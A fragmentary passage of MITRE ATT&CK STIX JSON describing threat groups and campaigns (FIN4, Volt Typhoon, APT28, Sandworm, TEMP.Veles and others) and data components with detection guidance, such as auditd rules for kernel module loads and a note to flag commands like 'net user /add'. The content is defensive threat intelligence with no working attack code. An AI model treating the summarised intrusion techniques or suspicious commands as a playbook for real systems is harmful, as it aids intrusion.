            "description": "[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
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                    "description": "(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)"
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                    "source_name": "FireEye FIN4 Stealing Insider NOV 2014",
                    "description": "Dennesen, K. et al.. (2014, November 30). FIN4: Stealing Insider Information for an Advantage in Stock Trading?. Retrieved November 17, 2024.",
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                    "source_name": "FireEye Hacking FIN4 Video Dec 2014",
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.",
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                    "source_name": "FireEye Hacking FIN4 Dec 2014",
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"
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            "description": "Changes to AD objects (e.g., users, groups, OUs) are logged as Event ID 5136 (Object Modification) or 5163 (Attribute Changes). Examples:\n\n- User Account: Modifying attributes (e.g., group membership, enabling/disabling accounts).\n- Group Membership: Adding/removing members.\n- OU: Changing properties/permissions (e.g., delegation).\n- Service Account: Modifying SPNs or other attributes.\n- Object Attributes: Changes to passwords, logon hours, or control flags.\n\n*Data Collection Measures:*\n\n- Audit Policy:\n    - Enable \"Audit Directory Service Changes\" (Success and Failure).\n    - Path: `Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Directory Service Changes`.\n    - Key Events: 5136 (modifications), 5163 (attribute changes).\n- Log Forwarding:\n    - Use WEF to centralize logs for SIEM.\n    - Parse logs to extract: Object Name, Attribute Changed, Initiator Account Name.\n- Enable EDR Monitoring:\n    - Detect changes to critical attributes (e.g., memberOf, logonHours).\n    - Track processes modifying directory service objects (e.g., Set-ADUser or dsmod).\n- Enable EDR Monitoring:\n    - Detect changes to critical attributes (e.g., memberOf, logonHours).\n    - Track processes modifying directory service objects (e.g., Set-ADUser or dsmod).",
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            "name": "Versa Director Zero Day Exploitation",
            "description": "[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was conducted by [Volt Typhoon](https://attack.mitre.org/groups/G1017) from early June through August 2024 as zero-day exploitation of Versa Director servers controlling software-defined wide area network (SD-WAN) applications. Since tracked as CVE-2024-39717, exploitation focused on credential capture from compromised Versa Director servers at managed service providers (MSPs) and internet service providers (ISPs) to enable follow-on access to service provider clients. [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was followed by the delivery of the [VersaMem](https://attack.mitre.org/software/S1154) web shell for both credential theft and follow-on code execution.(Citation: Lumen Versa 2024)",
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                    "source_name": "Lumen Versa 2024",
                    "description": "Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.",
                    "url": "https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"
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                    "description": "(Citation: Unit 42 Gorgon Group Aug 2018)"
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                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
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            "name": "Gorgon Group",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)",
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                    "source_name": "FireEye APT29 Nov 2018",
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"
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                    "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.",
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                    "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.",
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                    "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.",
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                    "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"
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                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
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            "name": "APT28 Nearest Neighbor Campaign",
            "description": "[APT28 Nearest Neighbor Campaign](https://attack.mitre.org/campaigns/C0051) was conducted by [APT28](https://attack.mitre.org/groups/G0007) from early February 2022 to November 2024 against organizations and individuals with expertise on Ukraine. APT28 primarily leveraged living-off-the-land techniques, while leveraging the zero-day exploitation of CVE-2022-38028. Notably, APT28 leveraged Wi-Fi networks in close proximity to the intended target to gain initial access to the victim environment. By daisy-chaining multiple compromised organizations nearby the intended target, APT28 discovered dual-homed systems (with both a wired and wireless network connection) to enable Wi-Fi and use compromised credentials to connect to the victim network.(Citation: Nearest Neighbor Volexity)",
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                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
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            "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)",
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                    "description": "(Citation: Kaspersky CactusPete Aug 2020)(Citation: CrowdStrike Manufacturing Threat July 2020)"
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                {
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                    "description": "(Citation: TrendMicro Tonto Team October 2020)"
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                {
                    "source_name": "TrendMicro Tonto Team October 2020",
                    "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021.",
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021.",
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                    "source_name": "Talos Bisonal 10 Years March 2020",
                    "description": "Warren Mercer, Paul Rascagneres, Vitor Ventura. (2020, March 6). Bisonal 10 Years of Play. Retrieved October 17, 2021.",
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                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
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                    "source_name": "360 Machete Sep 2020",
                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020.",
                    "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/"
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                    "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.",
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            "description": "[C0017](https://attack.mitre.org/campaigns/C0017) was an [APT41](https://attack.mitre.org/groups/G0096) campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) was quick to adapt and use publicly-disclosed as well as zero-day vulnerabilities for initial access, and in at least two cases re-compromised victims following remediation efforts. The goals of [C0017](https://attack.mitre.org/campaigns/C0017) are unknown, however [APT41](https://attack.mitre.org/groups/G0096) was observed exfiltrating Personal Identifiable Information (PII).(Citation: Mandiant APT41)",
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                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
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            "description": "[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)",
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                    "description": "CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.",
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                    "description": "Chad Anderson. (2021, April 27). Winter Vivern: A Look At Re-Crafted Government MalDocs Targeting Multiple Languages. Retrieved July 29, 2024.",
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                    "description": "Michael Raggi & The Proofpoint Threat Research Team. (2023, March 30). Exploitation is a Dish Best Served Cold: Winter Vivern Uses Known Zimbra Vulnerability to Target Webmail Portals of NATO-Aligned Governments in Europe. Retrieved July 29, 2024.",
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                    "source_name": "SentinelOne WinterVivern 2023",
                    "description": "Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.",
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            "description": "[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.(Citation: FireEye APT33 Sept 2017)(Citation: FireEye APT33 Webinar Sept 2017)",
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                    "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.",
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                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
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                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020.",
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                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
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                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage"
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                    "description": "L. O'Donnell. (2019, March 3). RSAC 2019: New Operation Sharpshooter Data Reveals Higher Complexity, Scope. Retrieved September 26, 2022.",
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            "name": "Operation Sharpshooter",
            "description": "[Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013) was a global cyber espionage campaign that targeted nuclear, defense, government, energy, and financial companies, with many located in Germany, Turkey, the United Kingdom, and the United States. Security researchers noted the campaign shared many similarities with previous [Lazarus Group](https://attack.mitre.org/groups/G0032) operations, including fake job recruitment lures and shared malware code.(Citation: McAfee Sharpshooter December 2018)(Citation: Bleeping Computer Op Sharpshooter March 2019)(Citation: Threatpost New Op Sharpshooter Data March 2019)    ",
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            "description": "[Cutting Edge](https://attack.mitre.org/campaigns/C0029) was a campaign conducted by suspected China-nexus espionage actors, variously identified as UNC5221/UTA0178 and UNC5325, that began as early as December 2023 with the exploitation of zero-day vulnerabilities in Ivanti Connect Secure (previously Pulse Secure) VPN appliances. [Cutting Edge](https://attack.mitre.org/campaigns/C0029) targeted the U.S. defense industrial base and multiple sectors globally including  telecommunications, financial, aerospace, and technology. [Cutting Edge](https://attack.mitre.org/campaigns/C0029) featured the use of defense evasion and living-off-the-land (LoTL) techniques along with the deployment of web shells and other custom malware.(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)(Citation: Volexity Ivanti Global Exploitation January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)",
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            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)",
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                    "description": "(Citation: FireEye TRITON 2019)"
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                    "description": "Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.",
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                    "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.",
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            "name": "2022 Ukraine Electric Power Attack",
            "description": "The [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034) was a [Sandworm Team](https://attack.mitre.org/groups/G0034) campaign that used a combination of GOGETTER, Neo-REGEORG, [CaddyWiper](https://attack.mitre.org/software/S0693), and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.(Citation: Mandiant-Sandworm-Ukraine-2022)(Citation: Dragos-Sandworm-Ukraine-2022) ",
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                    "description": "Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020.",
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                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
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                    "source_name": "Secureworks COBALT DICKENS August 2018",
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                    "source_name": "Secureworks COBALT DICKENS September 2019",
                    "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021.",
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            "created": "2019-05-02T00:08:18.314Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0089",
                    "external_id": "G0089"
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                {
                    "source_name": "Cylance Shaheen Nov 2018",
                    "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.",
                    "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517"
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            "modified": "2025-04-25T14:49:32.865Z",
            "name": "The White Company",
            "description": "[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)",
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                "The White Company"
            ],
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            "id": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
            "created": "2017-05-31T21:32:04.179Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0033",
                    "external_id": "G0033"
                },
                {
                    "source_name": "Poseidon Group",
                    "description": "(Citation: Kaspersky Poseidon Group)"
                },
                {
                    "source_name": "Kaspersky Poseidon Group",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
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            "modified": "2025-04-25T14:49:33.223Z",
            "name": "Poseidon Group",
            "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)",
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            ],
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            "modified": "2024-11-17T14:12:07.294Z",
            "name": "LazyScripter",
            "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)",
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                "Manikantan Srinivasan, NEC Corporation India",
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                "Hiroki Nagahama, NEC Corporation"
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            "id": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03",
            "created": "2021-11-24T19:26:27.305Z",
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                    "source_name": "mitre-attack",
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                    "external_id": "G0140"
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                    "source_name": "LazyScripter",
                    "description": "(Citation: MalwareBytes LazyScripter Feb 2021)"
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                    "source_name": "MalwareBytes LazyScripter Feb 2021",
                    "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 17, 2024.",
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            "name": "Drive Creation",
            "description": "The activity of assigning a new drive letter or creating a mount point for a data storage device, such as a USB, network share, or external hard drive, enabling access to its content on a host system. Examples: \n\n- USB Drive Insertion: A USB drive is plugged in and automatically assigned the letter `E:\\` on a Windows machine.\n- Network Drive Mapping: A network share `\\\\server\\share` is mapped to the drive `Z:\\`.\n- Virtual Drive Creation: A virtual disk is mounted on `/mnt/virtualdrive` using an ISO image or a virtual hard disk (VHD).\n- Cloud Storage Mounting: Google Drive is mounted as `G:\\` on a Windows machine using a cloud sync tool.\n- External Storage Integration: An external HDD or SSD is connected and assigned `/mnt/external` on a Linux system.\n\nThis data component can be collected through the following measures:\n\nWindows Event Logs\n\n- Relevant Events:\n    - Event ID 98: Logs the creation of a volume (mount or new drive letter assignment).\n    - Event ID 1006: Logs removable storage device insertions.\n- Configuration: Enable \"Removable Storage Events\" in the Group Policy settings:\n`Computer Configuration > Administrative Templates > System > Removable Storage Access`\n\nLinux System Logs\n\n- Command-Line Monitoring: Use `dmesg` or `journalctl` to monitor mount events.\n\n- Auditd Configuration: Add audit rules to track mount points.\n- Logs can be reviewed in /var/log/audit/audit.log.\n\nmacOS System Logs\n\n- Unified Logs: Monitor system logs for mount activity:\n- Command-Line Tools: Use `diskutil list` to verify newly created or mounted drives.\n\nEndpoint Detection and Response (EDR) Tools\n\n- EDR solutions can log removable drive usage and network-mounted drives. Configure EDR policies to alert on suspicious drive creation events.\n\nSIEM Tools\n\n- Centralize logs from multiple platforms into a SIEM (e.g., Splunk) to correlate and alert on suspicious drive creation activities.",
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            "modified": "2025-04-18T15:14:20.946Z",
            "name": "Active Directory Object Creation",
            "description": "Creating new objects in AD, such as user accounts, groups, organizational units (OUs), or trust relationships. Logged as Event ID 5137. Examples:\n\n- User Account Creation: New user account.\n- Group Creation: New security/distribution group.\n- OU Creation: New organizational unit.\n- Service Account Creation: New service account for automation or malicious tasks.\n- Trust Object Creation: Trust relationship with another domain.\n\n*Data Collection Measures:*\n\n- Audit Policy:\n    - Enable \"Audit Directory Service Changes\" (Success and Failure).\n    - Path: `Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Directory Service Changes`.\n    - Key Event: Event ID 5137 (object creation).\n- Log Forwarding: Use WEF to centralize logs for SIEM tools (e.g., Splunk).\n- Enable EDR Monitoring:\n    - Track processes that create new accounts or modify AD objects.\n    - Correlate object creation with suspicious commands (e.g., net user /add).",
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            "id": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4",
            "created": "2021-10-20T15:05:19.275Z",
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            "modified": "2025-04-18T15:16:31.390Z",
            "name": "Passive DNS",
            "description": "\"Domain Name: Passive DNS\" captures logged historical and real-time domain name system (DNS) data. This includes records of domain-to-IP address resolutions over time, enabling analysts to track the evolution of domain infrastructure, uncover historical patterns of use, and detect malicious activities tied to domains and their associated IP addresses. Examples: \n\n- Historical Resolutions\n- Shared IP Usage\n- Temporal Patterns\n- Malicious Domain Clustering\n- Historical Lookback\n\nThis data component can be collected through the following measures:\n\n- Passive DNS Platforms: Use platforms that specialize in passive DNS collection and analysis:\n   - Tools: Farsight DNSDB, RiskIQ PassiveTotal, PassiveDNS.\n- Threat Intelligence Feeds: Integrate passive DNS data from commercial or open-source threat intelligence providers.\n- Custom DNS Collectors: Deploy custom tools to capture DNS traffic at the network level for analysis.\n- Cloud DNS Services: Leverage cloud DNS services (e.g., AWS Route 53, Azure DNS) that maintain DNS query logs.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_version": "1.1",
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "intrusion-set",
            "spec_version": "2.1",
            "id": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee",
            "created": "2019-01-30T14:26:42.897Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0084",
                    "external_id": "G0084"
                },
                {
                    "source_name": "Gallmaker",
                    "description": "(Citation: Symantec Gallmaker Oct 2018)"
                },
                {
                    "source_name": "Symantec Gallmaker Oct 2018",
                    "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group"
                }
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            "modified": "2025-04-25T14:49:34.304Z",
            "name": "Gallmaker",
            "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)",
            "aliases": [
                "Gallmaker"
            ],
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_version": "1.1",
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            "id": "x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c",
            "created": "2021-10-20T15:05:19.272Z",
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            "modified": "2025-04-18T15:16:44.099Z",
            "name": "Kernel Module Load",
            "description": "The process of loading a kernel module into the operating system kernel. Kernel modules are object files that extend the kernel\u2019s functionality, such as adding support for device drivers, new filesystems, or additional system calls. This action can be legitimate (e.g., loading a driver) or malicious (e.g., adding a rootkit). \n\n*Data Collection Measures:*\n\n- Linux:\n    - Auditd: Enable auditing of kernel module loading. Example rule: `-a always,exit -F arch=b64 -S init_module,delete_module`.\n    - Syslog: Monitor `/var/log/syslog` or `/var/log/messages` for entries related to kernel module loads.\n    - Systemd Journal: Use `journalctl` to query logs for module loading events: `journalctl -k | grep \"Loading kernel module\"`\n- macOS:\n    - Unified Logs: Use the `log` command to query kernel module events: `log show --predicate 'eventMessage contains \"kextload\"' --info`\n    - Endpoint Security Framework (ESF): Monitor for `ES_EVENT_TYPE_AUTH_KEXTLOAD` (kernel extension loading events).\n- Kernel-Specific Tools:\n    - Lsmod: Use `lsmod` to list loaded kernel modules in real-time.\n    - Kprobe/eBPF: Use extended Berkeley Packet Filter (eBPF) or Kernel Probes (kprobes) to monitor kernel events, including module loading. Example using eBPF tools like BCC:\n`sudo python /path/to/bcc/tools/kprobe -v do_init_module`\n- Enable EDR Monitoring:\n    - Configure alerts for: Suspicious kernel module loads from non-standard paths (e.g., /tmp). Unexpected or unsigned kernel modules.\n    - Review detailed telemetry data provided by the EDR for insight into who initiated the module load, the file path, and whether the module was signed.",
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            "x_mitre_domains": [
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        {
            "type": "intrusion-set",
            "spec_version": "2.1",
            "id": "intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28",
            "created": "2023-09-25T18:11:05.672Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G1019",
                    "external_id": "G1019"
                },
                {
                    "source_name": "MoustachedBouncer ESET August 2023",
                    "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.",
                    "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"
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            "modified": "2025-04-16T20:37:40.255Z",
            "name": "MoustachedBouncer",
            "description": "[MoustachedBouncer](https://attack.mitre.org/groups/G1019) is a cyberespionage group that has been active since at least 2014 targeting foreign embassies in Belarus.(Citation: MoustachedBouncer ESET August 2023)",
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                "MoustachedBouncer"
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            "x_mitre_domains": [
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                "mobile-attack"
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            "created": "2021-10-20T15:05:19.273Z",
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            "modified": "2025-04-18T15:16:50.453Z",
            "name": "Social Media",
            "description": "Established, compromised, or otherwise acquired by adversaries to conduct reconnaissance, influence operations, social engineering, or other cyber threats.\n\n*Data Collection Measures:*\n\n- API Monitoring\t\n    - Social media APIs (e.g., Twitter API, Facebook Graph API) can extract behavioral patterns of accounts.\n- Web Scraping\n    - Extracts public profile data, friend lists, or interactions to identify impersonation attempts.\n- Threat Intelligence Feeds\t\n    - External feeds track malicious personas linked to disinformation campaigns or phishing.\n- OSINT Tools\n    - Maltego, SpiderFoot, and OpenCTI can map social media persona relationships.\n- Endpoint Detection\t\n    - EDR logs user behavior and alerts on suspicious social media interactions.\n- SIEM Logging\n    - Detects access to known phishing pages or social media abuse via proxy logs.\n- Dark Web Monitoring\t\n    - Identifies compromised social media credentials being sold.",
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            "modified": "2024-11-17T12:44:07.637Z",
            "name": "CopyKittens",
            "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip.(Citation: ClearSky CopyKittens March 2017)(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)",
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            "type": "intrusion-set",
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            "id": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
            "created": "2018-01-16T16:13:52.465Z",
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                    "external_id": "G0052"
                },
                {
                    "source_name": "CopyKittens",
                    "description": "(Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)"
                },
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                },
                {
                    "source_name": "ClearSky CopyKittens March 2017",
                    "description": "ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/copykitten-jpost/"
                },
                {
                    "source_name": "CopyKittens Nov 2015",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved November 17, 2024.",
                    "url": "https://cdn2.hubspot.net/hubfs/1903456/Whitepapers/CopyKittens.pdf"
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            "name": "Star Blizzard",
            "description": "[Star Blizzard](https://attack.mitre.org/groups/G1033) is a cyber espionage and influence group originating in Russia that has been active since at least 2019. [Star Blizzard](https://attack.mitre.org/groups/G1033) campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)\n",
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                    "description": "Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.",
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                    "description": "Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.",
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                    "description": "(Citation: Symantec Thrip June 2018)"
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                {
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                    "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.",
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            "description": "[C0026](https://attack.mitre.org/campaigns/C0026) was a campaign identified in September 2022 that included the selective distribution of [KOPILUWAK](https://attack.mitre.org/software/S1075) and [QUIETCANARY](https://attack.mitre.org/software/S1076) malware to previous [ANDROMEDA](https://attack.mitre.org/software/S1074) malware victims in Ukraine through re-registered [ANDROMEDA](https://attack.mitre.org/software/S1074) C2 domains. Several tools and tactics used during [C0026](https://attack.mitre.org/campaigns/C0026) were consistent with historic [Turla](https://attack.mitre.org/groups/G0010) operations.(Citation: Mandiant Suspected Turla Campaign February 2023)",
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                    "source_name": "Mandiant Suspected Turla Campaign February 2023",
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                    "url": "https://attack.mitre.org/groups/G0086",
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                {
                    "source_name": "Stolen Pencil",
                    "description": "(Citation: Netscout Stolen Pencil Dec 2018)"
                },
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                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.",
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            "name": "Stolen Pencil",
            "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)",
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            "modified": "2024-04-19T19:35:15.637Z",
            "name": "PROMETHIUM",
